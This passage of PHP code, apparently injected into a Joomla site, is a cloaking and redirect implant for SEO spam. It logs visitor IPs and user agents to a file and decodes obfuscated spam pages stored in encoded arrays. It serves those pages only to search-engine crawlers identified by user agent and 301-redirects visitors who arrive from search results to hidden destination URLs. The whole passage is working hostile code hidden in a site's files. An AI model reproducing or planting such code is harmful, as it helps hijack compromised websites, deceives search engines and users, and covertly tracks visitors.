".$stats_array['i']."".$stats_array['p']."".$stats_array['r']."".$stats_array['u'].""; echo $line; } die(); }; if ((function_exists('file_put_contents'))&&($STAT_PATH)) { $stats['t'] = time(); $stats['i'] = $_SERVER['REMOTE_ADDR']; $stats['p'] = $_SERVER['REQUEST_URI']; if (isset($_SERVER['HTTP_REFERER'])) $stats['r'] = substr($_SERVER['HTTP_REFERER'],0,$STAT_MAXLEN); else $stats['r']=''; $stats['u'] = substr($_SERVER['HTTP_USER_AGENT'],0,$STAT_MAXLEN); $stats_str = serialize($stats); @file_put_contents($STAT_PATH,$stats_str."\n",FILE_APPEND | LOCK_EX); } if (!function_exists('compressor')) { function compressor($string,$key,$usezip='1') { $content = $string; $cypher = "AES-128-CBC"; if ($usezip=='1') $content = gzdeflate($content, 9); $content = base64_encode($content); $content = rtrim(strtr($content, '+/', '-_'), '='); //if (function_exists('openssl_encrypt')) $content = @openssl_encrypt($content,$cypher,$key); return $content; };} if (!function_exists('decompressor')) { function decompressor($string,$key,$usezip='1'){ $cypher = "AES-128-CBC"; $content = strtr($string, '-_', '+/'); //if (function_exists('openssl_decrypt')) @openssl_decrypt($content,$cypher,$key); $content = base64_decode($content); if ($usezip=='1') $content = gzinflate($content); return $content; }; } if (!function_exists('insert_macroses')) { function insert_macroses($content,$macroses,$usezip='1') { $result = $content; foreach ($macroses as $key => $value) { $result = str_replace($key, decompressor($value,''), $result); } return $result; }; } if (!function_exists('getpiecebetween')) { function getpiecebetween($data,$sbegin,$send,$start=0) { $begin = strpos($data, $sbegin, $start); if ($begin===false) return ''; $begin += strlen($sbegin); $end = strpos($data, $send, $begin); if ($end===false) $end=strlen($data); $length = $end - $begin; $tmp = substr($data, $begin, $length); return $tmp; };} if (!function_exists('get_301redirect')) { function get_301redirect($content) { $redirect = getpiecebetween($content,'<301redirect>',''); $result['content'] = str_replace('<301redirect>'.$redirect.'','',$content); $result['301redirect'] = $redirect; return $result; } } if (!function_exists('insert_theme')) { function insert_theme($content,$theme) { if ((strpos($theme,'')!==false)&&(strpos($content,'<title>')!==false)) { $title_source = getpiecebetween($theme,'<title>',''); $title_dest = getpiecebetween($content,'',''); if ($title_source) $theme = str_replace(''.$title_source.'',''.$title_dest.'',$theme); $content = str_replace(''.$title_dest.'','',$content); }; if ((strpos($theme,'#DESCRIPTION')!==false)&&(strpos($content,''); if ($desc) $theme = str_replace('#DESCRIPTION',$desc,$theme); $content = str_replace('','',$content); }; if ((strpos($theme,'#KEYWORDS')!==false)&&(strpos($content,''); if ($keywords) $theme = str_replace('#KEYWORDS',$keywords,$theme); $content = str_replace('','',$content); }; $result = str_replace('#ARTICLE',$content,$theme); return $result; }; } if ((isset($_GET['ping']))&&($_GET['ping']=='sitemap')) { $page = decompressor(array_search(compressor($SITEMAP,$key,$USE_ZIP),$rewrite),$key,$USE_ZIP); $pingurl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? 'https' : 'http') . "://".$_SERVER['HTTP_HOST'].$page; $url = 'https://www.google.com/ping?sitemap='.urlencode($pingurl); echo(file_get_contents($url)); echo("\r\n".'Sitemap Url:'.$pingurl); die(); } $url = $_SERVER['REQUEST_URI']; if (substr($url,-1)=='/') $url2=substr($url,0,-1); else $url2 = $url.'/'; $key='tuD}*Jd;hQUpg[y'; $curl = compressor($url,$key,$USE_ZIP); $curl2 = compressor($url2,$key,$USE_ZIP); $keyword = ''; $use404 = true; if ((isset($_GET[$PARAM]))&&($_GET[$PARAM])) {$keyword = $_GET[$PARAM]; $USE_REWRITE=0;} elseif (($USE_REWRITE)&&(isset($rewrite[$curl]))) $keyword = $rewrite[$curl]; elseif (($USE_REWRITE)&&(isset($rewrite[$curl2]))) $keyword = $rewrite[$curl2]; elseif (($EXTENSION==='')&&(preg_match('/([^\/]+)-'.$SUFFIX.'([\/]*)$/', $url, $arr))) {$keyword = $arr[1]; $USE_REWRITE=0;} elseif (($EXTENSION)&&(strpos($url,$SUFFIX))&&(preg_match('|([^\/]+)-'.$SUFFIX.'\.'.$EXTENSION.'([\/]*)|', $url, $arr))) {$keyword = $arr[1]; $USE_REWRITE=0; } elseif (($SUFFIX==='')&&(preg_match('|([^\/]+)'.'\.'.$EXTENSION.'|', $url, $arr))) { $keyword = $arr[1]; $use404 =false; $USE_REWRITE=0;} if ($keyword) { $content = ''; //print preg_match('|([^\/]+)-'.$mark.'\.php|', $url, $arr); if (($keyword)&&(!$USE_REWRITE)) $keyword = compressor($keyword,$key, $USE_ZIP); $basekey = decompressor($keyword,$key,$USE_ZIP); //print 'Key:'.$basekey; if (isset($slug)&&(array_key_exists($keyword,$slug))) { $redirect_url = decompressor($slug[$keyword],$key, $USE_ZIP); header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); header("HTTP/1.1 301 Moved Permanently"); header("Location: $redirect_url"); die(); } if (array_key_exists($keyword,$pages)) { $content = decompressor($pages[$keyword],$key, $USE_ZIP); if ((isset($macroses))&&($macroses)) $content = insert_macroses($content, $macroses,$USE_ZIP); if (($SITEMAP!==$basekey)&&($basekey!==$HIDING)) { $theme = decompressor($THEME,$key,$USE_ZIP); if ($theme) $content = insert_theme($content,$theme);}; if (isset($separate)&&(array_key_exists($keyword,$separate))) { $content = str_replace('',decompressor($separate[$keyword],$key,$USE_ZIP),$content); } } elseif ($use404) { $content = decompressor($pages['404'],$key, '0'); } if ($USE_REWRITE) { $USE_CLOAK = 1; $REDIRECT_NOTSE='';}; if (($USE_RENDER)&&($content)) {$redir_content=get_301redirect($content); $content=$redir_content['content']; $redirect_url=$redir_content['301redirect']; }; if ((($USE_CLOAK)||($basekey!==$HIDING))&&($content)&&(isset($_SERVER['HTTP_USER_AGENT']))) { $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']); $se = array("google","yahoo","bing","naver","seznam","duckduckgo","aol","ecosia","qwant"); $user_agent = str_replace($se," #found",$user_agent); if (strpos($user_agent, '#found')) die($content); } if ($basekey==$HIDING) $content=''; if ((($USE_RENDER)||($USE_REWRITE))&&($content)) { $se = array("google","yahoo","bing","naver","seznam","duckduckgo","aol","ecosia","qwant"); if (isset($_SERVER['HTTP_REFERER'])) $referer = str_replace($se," #found",$_SERVER['HTTP_REFERER']); else $referer=''; $HAS_REFERER = strpos($referer,'#found'); if (isset($hide)&&($HAS_REFERER)&&(array_key_exists($keyword,$hide))) { $content = decompressor($hide[$keyword],$key, $USE_ZIP); die($content); } if ((!isset($redirect_url))||(!$redirect_url)) $redirect_url = getpiecebetween($content,$BEGIN, $END); if (($USE_RENDER)&&($HAS_REFERER)&&($redirect_url)) { header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); header("HTTP/1.1 301 Moved Permanently"); header("Location: $redirect_url"); die(); } elseif ($HAS_REFERER) die($content); elseif ($REDIRECT_NOTSE) { $content404 = file_get_contents($REDIRECT_NOTSE); if ($content404) die($content404); } } if ((!$USE_REWRITE)&&($content)) die($content); } ?> Joomla: unsupported PHP version